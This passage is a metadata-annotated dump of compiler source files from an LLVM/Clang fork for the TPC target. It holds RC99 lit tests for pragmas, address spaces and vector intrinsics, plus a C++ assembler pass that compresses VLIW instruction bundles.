\"$\";\n}\n" }, { "alpha_fraction": 0.6762295365333557, "alphanum_fraction": 0.688524603843689, "avg_line_length": 47.599998474121094, "blob_id": "86f6fa2cba5e36e33e0a6e858edc447771f6b4bf", "content_id": "d06c68ae940d36ab0fadef897f06093f1bed2979", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 244, "license_type": "permissive", "max_line_length": 96, "num_lines": 5, "path": "/clang/test/RC99/regression/pragma_printf-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\nvoid main(int arg_int) {\n#pragma tpc_printf (on) // expected-warning{{unknown action for '#pragma tpc_printf' - ignored}}\n printf_i(\"value is integer\\n\", arg_int);\n}\n\n" }, { "alpha_fraction": 0.5212947130203247, "alphanum_fraction": 0.6490630507469177, "avg_line_length": 47.91666793823242, "blob_id": "0f45023c510cbc2222d3ff11e7427005b364dd36", "content_id": "054a6b10d4ee63868b779c484125b962b9c8545a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 587, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_bfloat128_to_int128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n bfloat128 *sptr = (bfloat128 *)src;\n int128 *dptr = (int128 *)dest;\n bfloat128 src_val = *sptr;\n *dptr++ = convert_bfloat128_to_int128(src_val, SW_RZ);\n *dptr = convert_bfloat128_to_int128(src_val, SW_RD);\n}\n\n// CHECK-IR: fptosi <128 x bfloat> {{.*}} to <128 x i32>\n// CHECK-IR: call <128 x i32> @llvm.tpc.convert.v128i32.v128bf16.i1(<128 x bfloat> {{.*}}, i8 1, i32 197120, <128 x i32> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.6649076342582703, "alphanum_fraction": 0.6833773255348206, "avg_line_length": 24.266666412353516, "blob_id": "eabdc4f81f1d351bfd0b9ad50ae910452c344fda", "content_id": "3c6589eae218f4c516182ea4a661af600ab2752b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 379, "license_type": "permissive", "max_line_length": 104, "num_lines": 15, "path": "/clang/test/RC99/restrictions/addrspace-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nstruct New {\n float64 vec;\n} var;\n\n__local__ struct New localvar;\n\n__global__ struct New globalvar; // expected-error{{variables in global address space are not allowed}}\n\n\nstruct TPC {\n __local__ int64 vec; // expected-error{{field may not be qualified with an address space}}\n};\nvoid main() {}\n" }, { "alpha_fraction": 0.4199243485927582, "alphanum_fraction": 0.49936947226524353, "avg_line_length": 28.370370864868164, "blob_id": "5d67a3c9672716e354593c0dda1f07d0e3abea03", "content_id": "df52a325cb36b4117efed9384d270eba46df8212", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 793, "license_type": "permissive", "max_line_length": 78, "num_lines": 27, "path": "/clang/test/RC99/Intrinsics/s_u8_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(unsigned char x0, unsigned char x1, int dest, _Bool pred) {\n unsigned __local *dptr = (unsigned __local *)dest;\n unsigned res = 0;\n\n res = s_u8_mac_s_s(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_u8_mac_s_s(x0, 1, res, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %S{{[0-9]+}}, %S0, 0x1, %SP0\n\n res = s_u8_mac_s_s(x0, 1, res, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %S{{[0-9]+}}, %S0, 0x1, %SP0\n\n res = s_u8_mac_s_s_b(x0, x1, res, 1, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 st %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_u8_mac_s_s_b(x0, 2, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u8 %S{{[0-9]+}}, %S0, 0x2, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6045528054237366, "alphanum_fraction": 0.60586017370224, "avg_line_length": 28.41855239868164, "blob_id": "c277db82e8805a8917ac5c6f8882c0d9f597d783", "content_id": "aefa29b1922d0f0e98166cc276eb602d44440bbe", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 13003, "license_type": "permissive", "max_line_length": 81, "num_lines": 442, "path": "/llvm/lib/Target/TPC/AsmParser/TPCAsmInstCompress.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCAsmInstCompress.cpp ---------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//\n//===----------------------------------------------------------------------===//\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"TPCAsmInstCompress.h\"\n#include <algorithm>\n\nusing namespace llvm;\n\nstatic StringRef MCOperandToString(const MCOperand &Operand) {\n if (Operand.isExpr()) {\n const MCExpr* Expr = Operand.getExpr();\n const MCSymbolRefExpr* SymbolExpr = dyn_cast<MCSymbolRefExpr>(Expr);\n assert(SymbolExpr != nullptr);\n return SymbolExpr->getSymbol().getName();\n } else\n return StringRef();\n}\n\nvoid TPCAsmInstCompress::EmitInstruction(MCInst &Inst, MCStreamer &Out,\n const MCSubtargetInfo &STI) {\n Out.EmitInstruction(Inst, STI);\n}\n\nvoid TPCAsmInstCompress::flushPendingInstructions(MCStreamer &Out,\n const MCSubtargetInfo &STI) {\n if (!compressEnabled) {\n return;\n }\n if (!Buffer.empty()) {\n flushBuffer(Out, STI, true);\n }\n if (pInst != nullptr) {\n Out.EmitInstruction(prevInst, STI);\n pInst = nullptr;\n }\n}\n\nvoid TPCAsmInstCompress::onLabelEmited(MCSymbol *Symbol) {\n if (!compressEnabled) {\n return;\n }\n\n if (!IsStoreInBuffer) {\n // If the Label is a target adress of a jmp instruction\n // when next instruction can not be compressed.\n if (isJmpLabel(Symbol))\n DoNotCompressNextInst = true;\n // Otherwise we start storing instructions\n else\n IsStoreInBuffer = true;\n }\n\n if (IsStoreInBuffer)\n Buffer.push_back(Symbol);\n else\n PendingLabels.push_back(Symbol);\n\n // Loop ending label check\n if (!Buffer.empty() && any_isa<MCInst>(Buffer.front())) {\n StringRef LoopLabel;\n if (isLoopMCInst(any_cast<MCInst>(Buffer.front()), LoopLabel))\n if (LoopLabel == Symbol->getName())\n IsStoreInBuffer = false;\n }\n}\n\nvoid TPCAsmInstCompress::flushPendingLabels(MCStreamer &Out) {\n if (PendingLabels.empty()) {\n return;\n }\n for (MCSymbol *Sym : PendingLabels) {\n Sym->setRedefinable(true);\n Out.EmitLabel(Sym);\n }\n PendingLabels.clear();\n}\n\nvoid TPCAsmInstCompress::flushBuffer(MCStreamer &Out,\n const MCSubtargetInfo &STI,\n bool FlushAll) {\n assert(compressEnabled);\n auto It = Buffer.begin();\n for(; It != Buffer.end(); ++It) {\n if (any_isa<MCInst>(*It)) {\n auto& Inst = any_cast<MCInst &>(*It);\n StringRef Looplabel;\n if (!isLoopMCInst(Inst, Looplabel)) {\n if(!DoNotCompressNextInst && maybeCompressInstr(Inst, false))\n flushInstCompressed(Inst, Out, STI);\n else {\n flushInstUncompressed(Inst, Out, STI);\n DoNotCompressNextInst = false;\n }\n } else {\n // For loop we have special algorithm.\n // It will move to next instruction after loop end\n flushLoopsInsts(It, Out, STI);\n }\n } else {\n MCSymbol *Label = any_cast<MCSymbol *>(*It);\n // If the Label is a target adress of a jmp instruction\n // when next instruction can not be compressed.\n if (std::find(JmpLabels.begin(), JmpLabels.end(),Label->getName())\n != JmpLabels.end()) {\n DoNotCompressNextInst = true;\n PendingLabels.push_back(Label);\n } else {\n // Otherwise if FlushAll is true the Label is unused label.\n // If FlushAll is false algorithm stop and\n // we continue search jmp instruction.\n if(FlushAll)\n PendingLabels.push_back(Label);\n else\n break;\n }\n }\n }\n\n Buffer.erase(Buffer.begin(), It);\n}\n\n\n\nvoid TPCAsmInstCompress::flushInstCompressed(MCInst &Inst, MCStreamer &Out,\n const MCSubtargetInfo &STI) {\n if(pInst != nullptr) {\n maybeCompressInstr(prevInst, true);\n Out.EmitInstruction(prevInst, STI);\n flushPendingLabels(Out);\n maybeCompressInstr(Inst, true);\n Out.EmitInstruction(Inst, STI);\n pInst = nullptr;\n } else {\n flushPendingLabels(Out);\n prevInst = Inst;\n pInst = &prevInst;\n }\n}\n\nvoid TPCAsmInstCompress::flushInstUncompressed(MCInst &Inst, MCStreamer &Out,\n const MCSubtargetInfo &STI) {\n if (pInst != nullptr) {\n Out.EmitInstruction(prevInst, STI);\n flushPendingLabels(Out);\n Out.EmitInstruction(Inst, STI);\n pInst = nullptr;\n } else {\n flushPendingLabels(Out);\n Out.EmitInstruction(Inst, STI);\n }\n}\n\nbool TPCAsmInstCompress::isNopMCInst(const MCInst &MI) const {\n if (MI.getOpcode() == TPC::BUNDLE) {\n for (auto &I : TPCMCInstrInfo::bundleInstructions(MI)) {\n MCInst &BMI = const_cast<MCInst &>(*I.getInst());\n if (!isNopMCInst(BMI)) {\n return false;\n }\n }\n return true;\n }\n else {\n if (MI.getOpcode() == TPC::NOPv ||\n MI.getOpcode() == TPC::NOPs ||\n MI.getOpcode() == TPC::NOPld ||\n MI.getOpcode() == TPC::NOPst) {\n return true;\n }\n }\n return false;\n}\n\nbool TPCAsmInstCompress::isVpuInstrWithSrcCD(const MCInst &MI) const {\n const MCInstrDesc &MC = MCII.get(MI.getOpcode());\n if (!TPCII::isVPUInst(MC))\n return false;\n if (TPCII::getHasSrcC(MC) || TPCII::getHasSrcD(MC))\n return true;\n\n return false;\n}\n\nbool TPCAsmInstCompress::isSrcCIsStoreSrcC(const MCInst &MI) const {\n const MCInstrDesc &MC = MCII.get(MI.getOpcode());\n if (!TPCII::isVPUInst(MC)) {\n return false;\n }\n if (TPCII::getSrcCIsStoreSrcC(MC))\n return true;\n\n return false;\n}\n\nbool TPCAsmInstCompress::isLoopMCInst(const MCInst &MI, StringRef &Label) const {\n const MCInstrDesc &MIDesc = MCII.get(MI.getOpcode());\n bool IsLoop = TPCII::isLoopInst(MIDesc);\n\n if (IsLoop) {\n assert(MI.getNumOperands() >= 5);\n const MCOperand& ValueOperand = MI.getOperand(4);\n assert(ValueOperand.isExpr());\n Label = MCOperandToString(ValueOperand);\n }\n\n return IsLoop;\n}\n\nbool TPCAsmInstCompress::isJmpMCInst(const MCInst &MI, StringRef &Label) const {\n if(MI.getOpcode() == TPC::BUNDLE) {\n for (auto &I : TPCMCInstrInfo::bundleInstructions(MI)) {\n MCInst &BMI = const_cast<MCInst &>(*I.getInst());\n if (isJmpMCInst(BMI, Label)) {\n return true;\n }\n }\n\n return false;\n } else {\n bool IsJmp = false;\n switch(MI.getOpcode()) {\n case TPC::JMPA:\n case TPC::JMPAr:\n case TPC::JMPR:\n case TPC::JMPR_u:\n case TPC::JMPRr:\n IsJmp = true;\n break;\n default:\n return false;\n }\n if(IsJmp) {\n assert(MI.getNumOperands() >= 1);\n const MCOperand& ValueOperand = MI.getOperand(0);\n if(ValueOperand.isExpr()) {\n Label = MCOperandToString(ValueOperand);\n }\n return true;\n }\n\n return false;\n }\n}\n\nbool TPCAsmInstCompress::isJmpLabel(const MCSymbol* Label) const {\n return std::find(JmpLabels.begin(), JmpLabels.end(),\n Label->getName()) != JmpLabels.end();\n}\n\nvoid TPCAsmInstCompress::flushLoopsInsts(std::vector<Any>::iterator &Iter,\n MCStreamer &Out,\n const MCSubtargetInfo &STI) {\n SmallVector<StringRef, 4> LoopLabels;\n struct {\n SmallVector<Any, 4> buffer;\n unsigned instCount;\n } LastFourInstrs = {{}, 0};\n\n // Emit instructions from LastFourInstrs\n auto FlushLastFourInstrs = [&LastFourInstrs, &Out, &STI, this]\n (bool IsCompressed) {\n for (Any &Value : LastFourInstrs.buffer) {\n if (any_isa<MCInst>(Value)) {\n MCInst Inst = any_cast<MCInst &>(Value);\n if (IsCompressed && !DoNotCompressNextInst &&\n maybeCompressInstr(Inst, false))\n flushInstCompressed(Inst, Out, STI);\n else {\n flushInstUncompressed(Inst, Out, STI);\n DoNotCompressNextInst = false;\n }\n } else { //It is a label\n MCSymbol *Label = any_cast<MCSymbol *>(Value);\n bool IsJmpDest = isJmpLabel(Label);\n if (IsJmpDest)\n DoNotCompressNextInst = true;\n PendingLabels.push_back(Label);\n }\n }\n LastFourInstrs.buffer.clear();\n LastFourInstrs.instCount = 0;\n };\n // Get the first instruction and push labels to PendingLabels\n auto PopFirstInst = [&LastFourInstrs, this]() -> MCInst {\n assert(LastFourInstrs.instCount > 0);\n for (auto It = LastFourInstrs.buffer.begin();\n It != LastFourInstrs.buffer.end(); ++It) {\n if(any_isa<MCInst>(*It)) {\n MCInst Result = any_cast<MCInst &>(*It);\n LastFourInstrs.buffer.erase(LastFourInstrs.buffer.begin(), It + 1);\n --LastFourInstrs.instCount;\n return Result;\n } else { // It is a label\n MCSymbol *Label = any_cast<MCSymbol *>(*It);\n PendingLabels.push_back(Label);\n if (isJmpLabel(Label))\n DoNotCompressNextInst = true;\n }\n }\n llvm_unreachable(\"An unhandled case occurred\");\n };\n\n for (;;) {\n if (any_isa<MCInst>(*Iter)) {\n MCInst Inst = any_cast<MCInst &>(*Iter);\n StringRef LoopLabel;\n if (isLoopMCInst(Inst, LoopLabel)) {\n FlushLastFourInstrs(true);\n DoNotCompressNextInst = true;\n LoopLabels.emplace_back(std::move(LoopLabel));\n flushInstUncompressed(Inst, Out, STI);\n } else {\n LastFourInstrs.buffer.emplace_back(std::move(Inst));\n ++LastFourInstrs.instCount;\n if (LastFourInstrs.instCount > 4) {\n Inst = PopFirstInst();\n if (!DoNotCompressNextInst && maybeCompressInstr(Inst, false))\n flushInstCompressed(Inst, Out, STI);\n else {\n flushInstUncompressed(Inst, Out, STI);\n DoNotCompressNextInst = false;\n }\n }\n }\n } else { // It is a label\n MCSymbol *Label = any_cast<MCSymbol *>(*Iter);\n assert(Label);\n\n if (Label->getName() == LoopLabels.back()) {\n // Emit instructions from LastFourInstrs\n FlushLastFourInstrs(false);\n\n bool IsJmpDest = isJmpLabel(Label);\n if (IsJmpDest)\n DoNotCompressNextInst = true;\n\n if (LoopLabels.size() != 1 || IsJmpDest)\n PendingLabels.push_back(Label);\n else\n // Do not emit the label because it may be a jmp destination\n // The label will be first element in buffer\n --Iter;\n LoopLabels.pop_back();\n if (LoopLabels.empty())\n break;\n } else\n LastFourInstrs.buffer.push_back(Label);\n }\n\n ++Iter;\n }\n}\n\n\nvoid TPCAsmInstCompress::rmOpcodeFromBundle(MCInst &MI, unsigned opcode) const {\n for (auto &I : TPCMCInstrInfo::bundleInstructions(MI)) {\n MCInst &BMI = const_cast<MCInst &>(*I.getInst());\n\n if (BMI.getOpcode() == opcode) {\n MI.erase(const_cast<MCOperand*>(&I));\n return;\n }\n }\n}\n\nbool TPCAsmInstCompress::maybeCompressInstr(MCInst &MI, bool doCompress) const {\n if (MI.getOpcode() != TPC::BUNDLE) {\n return false;\n }\n bool hasVPU = false;\n bool hasSPU = false;\n bool hasLD = false;\n bool hasST = false;\n for (auto &I : TPCMCInstrInfo::bundleInstructions(MI)) {\n MCInst &BMI = const_cast<MCInst &>(*I.getInst());\n const MCInstrDesc &MC = MCII.get(BMI.getOpcode());\n\n // Check for cross-slot instructions\n // Do not use TPCMCInstrInfo interface function (commented out below)\n // for now because it does not check for all possible opcodes\n // (the list of the opcodes is huge currently because we still have to\n // support old formats)\n // if (TPCMCInstrInfo::isVpuInstrWithSrcCD(BMI.getOpcode())) {\n if (isVpuInstrWithSrcCD(BMI))\n return false;\n if (isSrcCIsStoreSrcC(BMI))\n return false;\n\n // Instructions that can be compressed (2 instructions in a single VLIW):\n // Instructions which are not JMPR/JMPA\n if (MC.isTerminator()) {\n return false;\n }\n\n if (!isNopMCInst(BMI)) {\n if (TPCII::isVPUInst(MC))\n\thasVPU = true;\n else if (TPCII::isSPUInst(MC))\n\thasSPU = true;\n else if (TPCII::isLoadInst(MC))\n\thasLD = true;\n else if (TPCII::isStoreInst(MC))\n\thasST = true;\n }\n }\n if ((hasVPU || hasSPU) && (hasLD || hasST)) {\n // Cannot compress\n return false;\n }\n \n //\n // TODO: check for other extra bits?\n //\n\n\n //\n // Now we know that the bundle instruction is compressible, so we remove\n // two NOPs from this bundle leaving only two other instructions there.\n // The code emitter will know to compress a bundle with only two instructions.\n //\n if (doCompress) {\n if (hasVPU || hasSPU) {\n rmOpcodeFromBundle(MI, TPC::NOPld);\n rmOpcodeFromBundle(MI, TPC::NOPst);\n }\n else {\n rmOpcodeFromBundle(MI, TPC::NOPs);\n rmOpcodeFromBundle(MI, TPC::NOPv);\n }\n }\n \n return true;\n}\n" }, { "alpha_fraction": 0.5882353186607361, "alphanum_fraction": 0.6022409200668335, "avg_line_length": 28.75, "blob_id": "2f70fb307ecee74361e6f4d010336b6f22aaed63", "content_id": "9aef02ff23f87bf199a6e9a2ad5a8749c3f7c5c7", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 357, "license_type": "permissive", "max_line_length": 76, "num_lines": 12, "path": "/clang/test/RC99/pragma/pragma-loop_unroll-e-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -verify -std=rc99 -triple tpc %s\n\nvoid main(int dest, float value, int start, int end, int stride) {\n __local__ float* res=(__local float *)dest;\n\n #pragma clang loop machine_unroll_count // expected-error{{expected '('}}\n for (int x = start; x < end; x += stride) {\n *res = value;\n value += 2.0;\n ++res;\n }\n}\n" }, { "alpha_fraction": 0.5185185074806213, "alphanum_fraction": 0.5634920597076416, "avg_line_length": 20.05555534362793, "blob_id": "bbaa6755833e5943dfbf611120340756fc7c1870", "content_id": "e80ae3c3ccf73484e1ce8e30e2e8d9307f202b10", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 378, "license_type": "permissive", "max_line_length": 77, "num_lines": 18, "path": "/clang/test/RC99/localizer/globalizer-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O0 %s -o %t\n// RUN: opt -S < %t -o %t.out \n\nstruct ABC {\n int ggg[12];\n};\n\nvoid main(int x) {\n struct ABC vvv;\n vvv.ggg[1] = 11;\n vvv.ggg[0] = 777;\n *(struct ABC __local *)x = vvv;\n}\n\n// CHECK: @0 = private global\n// CHECK: define void @main(i32 %x)\n// CHECK-NEXT: entry:\n// CHECK-NEXT: = bitcast {{.*}}* @0" }, { "alpha_fraction": 0.49918532371520996, "alphanum_fraction": 0.6209775805473328, "avg_line_length": 42.45132827758789, "blob_id": "3f8ffb8a8d5b726a0915d5efb93674480ce596fa", "content_id": "19e55cb1e1e9ae28a7fd78386c8e4f8eaf515163", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4910, "license_type": "permissive", "max_line_length": 135, "num_lines": 113, "path": "/clang/test/RC99/acceptance/reciprocal_f32_updated.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck %s\n\n// GAUDI-250\n\n// See also: GAUDI-164 (test needs to be corrected after the fix)\n\n#define UNIT_VAL 0x3f800000\n#define SIGN_MASK 0x80000000\n#define EXPONENT_MASK 0x7f800000\n#define SIGNIFICAND_MASK 0x007fffff\n#define BIASED_EXP_0_SHIFTED 0xc0800000\n#define EXPONENT_MASK_F32 0x7f800000\n#define NAN_FP32 0x7fffffff\n#define PLUS_INF_FP32 0x7f800000\n#define MINUS_INF_FP32 0xff800000\n#define FLT_MIN 0x800000\n#define FLT_MAX 0x7f7fffff\n\n#define false 0\n#define true 1\n\nfloat64 reciprocal_f32(float64 input)\n{\n bool256 all_true_pred = 0xff;\n //FORM_FP_NUMBER.F32 V1, $UNIT_VAL$, V10, V10, FORCE_SIGN0\n unsigned int unit_val = UNIT_VAL;\n// float64 v1 = v_f32_form_fp_num_s_v_v_vb(*((float*)&unit_val),input,input,false,true,false,false,false,all_true_pred,0 );\n float64 v1 =0;\n v1 = v_f32_form_fp_num_s_v_v_vb(*((float*)&unit_val),input,input,v1, 0x8,all_true_pred,0 );\n //GET_LUT_ENTRY_AND_INTERVAL_START.F32 V2, V3, V1, u32_x110010 - ask sergei- this does not make sense.\n// float64_pair_t pairv2v3 = v_f32_get_lut_entry_and_interval_start_v_b(v1,0/*significant shift*/,/*e_func_variant_default*/0,1,0);\n uint64_float64_pair_t pairv2v3 ;\n pairv2v3 = v_f32_get_lut_entry_and_interval_start_v_b(v1,pairv2v3,0/*significant shift*/,/*e_func_variant_default*/0,1,0);\n //GET_LUT_ENTRY_AND_INTERVAL_START.F32 V2, V3, V1, 16, 0\n pairv2v3 = v_f32_get_lut_entry_and_interval_start_v_b(v1,pairv2v3,16,0,1,0);\n //LOOKUP_C1C2 V4, V2, 17, F32 - also ask sergey.why 17?\n// float64_pair_t pairv4v5 = v_f32_lookup_c1c2_v_b(pairv2v3.v1, 0 /*e_lookup_fp32*/,0/* e_reciprocal*/ ,1,0 );\n float64_pair_t pairv4v5;\n pairv4v5 = v_f32_lookup_c1c2_v_b(pairv2v3.v1, pairv4v5, 0 /*e_lookup_fp32*/,0/* e_reciprocal*/ ,1,0 );\n //SUB.F32 V3, V1, V3\n pairv2v3.v2 = v1 - pairv2v3.v2;\n // LOOKUP_C0 V5, V2, 17, F32\n// float64 v5 = v_f32_lookup_c0_v_b(pairv2v3.v1,0 /*e_lookup_fp32*/,0 /* e_reciprocal */,1,0 );\n float64 v5;\n v5 = v_f32_lookup_c0_v_b(pairv2v3.v1, v5,0 /*e_lookup_fp32*/,0 /* e_reciprocal */,1,0 );\n // MAC.F32 V4, V3, V5\n\n // GAUDI-164\n float64 v2_temp = pairv2v3.v2;\n v2_temp = v_f32_mac_v_v_b(pairv2v3.v2, v5, v2_temp, false,1,0);\n pairv2v3.v2 = v2_temp;\n // Workaround for GAUDI-164 can be the following:\n // float64 v7 = pairv2v3.v2;\n // v7 = v_f32_mac_v_v_b(pairv2v3.v2, v5, v7, false,1,0);\n // pairv2v3.v2 = v7;\n\n //MAC.F32 V5, V3, V4\n// v5 = v_f32_mac_v_v_b(pairv2v3.v2 , pairv4v5.v1, v5,false,1,0);\n v5 = v_f32_mac_v_v_b(pairv2v3.v2 , pairv4v5.v1, v5,false,1,0);\n //AND.U32 V1, V10, $EXPONENT_MASK$\n uint64 a1 = EXPONENT_MASK & *((uint64*)&input);\n //AND.U32 V2, V5, $EXPONENT_MASK$\n uint64 a2 = *((uint64*)&(v5)) & EXPONENT_MASK;\n //SUB.I32 V2, V2, V1 - Sergei - question do we must do signed subtraction?\n a2 = a2 - a1;\n //CMP_LEQ.I32 VP1, V2, BIASED_EXP_0_SHIFTED\n bool256 vp1;\n vp1 = bv_u32_cmp_leq_v_v_vb(a2,BIASED_EXP_0_SHIFTED, vp1, all_true_pred,0);\n //FORM_FP_NUMBER.F32 V2, V2, V10, V5, EXP_ADD_BIAS\n// float64 result = v_f32_form_fp_num_v_v_v_b(*((float64*)&(a2)),input,v5,true /*exp_bias*/,false,false,false,false,1,0);\n float64 result;\n result = v_f32_form_fp_num_v_v_v_b(*((float64*)&(a2)),input,v5,result,0x10, /*exp_bias,false,false,false,false, */1,0);\n //MOV.F32 V2, f32_0, VP1 - MOV is implemented with ADD (X + 0 )\n result = v_f32_add_v_s_vb(result,0,result,vp1,0);\n // ABS.F32 V11, V10\n// float64 v11 = v_f32_abs_v_b(result,1,0);\n uint64 v111 = *((uint64*)&(result)) & 0x7fffffff;\n float64 v11 = *((float64*)&v111);\n //AND.U32 V0, V10, $SIGN_MASK$\n uint64 v0 = *((uint64*)&input) & SIGN_MASK;\n // OR.U32 V1, V0, $PLUS_INF_FP32$\n uint64 v1_uint = v0 | PLUS_INF_FP32;\n //SEL_LESS.F32 V2, V11, $FLT_MIN$, V1, V2\n v1 = *((float64*) &v1_uint);\n result = v_f32_f32_sel_less_v_v_v_v_vb(v11,FLT_MIN,v1,result,result,all_true_pred,1);\n //SEL_EQ.U32 V2, V11, $PLUS_INF_FP32$, V0, V2\n uint64 result2;\n result2 = v_u32_u32_sel_eq_v_v_v_v_vb(*((uint64*)&(v11)),PLUS_INF_FP32,v0,*((uint64*)&(result)),result2,all_true_pred,1);\n //cast back to float\n result = *((float64*)&(result2));\n //SEL_EQ.F32 V2, V10, V10, V2, $NAN_FP32$\n uint64 Nan = 0x7fffffff;\n result = v_f32_f32_sel_eq_v_v_v_v_vb(input,input,result, *((float64*)&(Nan)),result,all_true_pred,1);\n \n //todo: add \n return result;\n}\n\n\n// \nvoid main(tensor input, tensor output)\n{\n int5 addr= 0; \n // spatial for loops\n float64 tmp;\n tmp = v_f32_ld_tnsr_i_b(addr,input,tmp,1,0);\n tmp = reciprocal_f32(tmp);\n f32_st_tnsr_i_v_b(addr,output,tmp,1,0);\n}\n\n// CHECK: main\n// CHECK: halt\n" }, { "alpha_fraction": 0.5441988706588745, "alphanum_fraction": 0.6381215453147888, "avg_line_length": 35.20000076293945, "blob_id": "db6c88ac710fc5bb821e37a83c7b9dfabcf83677", "content_id": "b428c940ae9295e0bc01398f980b275aad2cfc54", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 362, "license_type": "permissive", "max_line_length": 117, "num_lines": 10, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_short128_to_float128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n short128 *sptr = (short128 *)src;\n float128 *dptr = (float128 *)dest;\n short128 src_val = *sptr;\n *dptr = convert_short128_to_float128(src_val, 0);\n}\n\n// CHECK-IR: sitofp <128 x i16> {{.*}} to <128 x float>\n" }, { "alpha_fraction": 0.5250783562660217, "alphanum_fraction": 0.5721003413200378, "avg_line_length": 36.52941131591797, "blob_id": "9c5ac480aa3d8e2b0a3b150e6aa74ea51614b4b6", "content_id": "2b4c9f0007781ad2fd8013dd764d5cfa3bac9f4e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 638, "license_type": "permissive", "max_line_length": 67, "num_lines": 17, "path": "/clang/test/RC99/div-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc -verify %s\n\nvoid main(int dest, int x0, int y0, float x1, float y1) {\n int __local *ptr = (int __local *)dest;\n *ptr++ = x0 / y0; // expected-error{{division is not supported}}\n *ptr++ /= y0; // expected-error{{division is not supported}}\n *ptr++ = x0 / 4;\n *ptr++ = 20 / 4;\n \n\n float __local *ptr2 = (float __local *)ptr;\n *ptr2++ = x1 / y1; // expected-error{{division is not supported}}\n *ptr2++ /= y1; // expected-error{{division is not supported}}\n *ptr2++ /= 2; // expected-error{{division is not supported}}\n *ptr++ = 20 / 4;\n *ptr++ = 1.0 / 0.0;\n}\n" }, { "alpha_fraction": 0.3387202024459839, "alphanum_fraction": 0.4539667069911957, "avg_line_length": 31.585105895996094, "blob_id": "fe810dd1f7dba609d4608dbb7c16b3f0c8886bef", "content_id": "d1708075801727e4469375b38bfa97c4b8162734", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6126, "license_type": "permissive", "max_line_length": 106, "num_lines": 188, "path": "/clang/test/RC99/Intrinsics/v_f32_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(int x0a, int x1a, float xs, int dest, _Bool pred, int vpreda) {\n float64 __local *x0ptr = (float64 __local *)x0a;\n float64 __local *x1ptr = (float64 __local *)x1a;\n float64 __local *dptr = (float64 __local *)dest;\n bool64 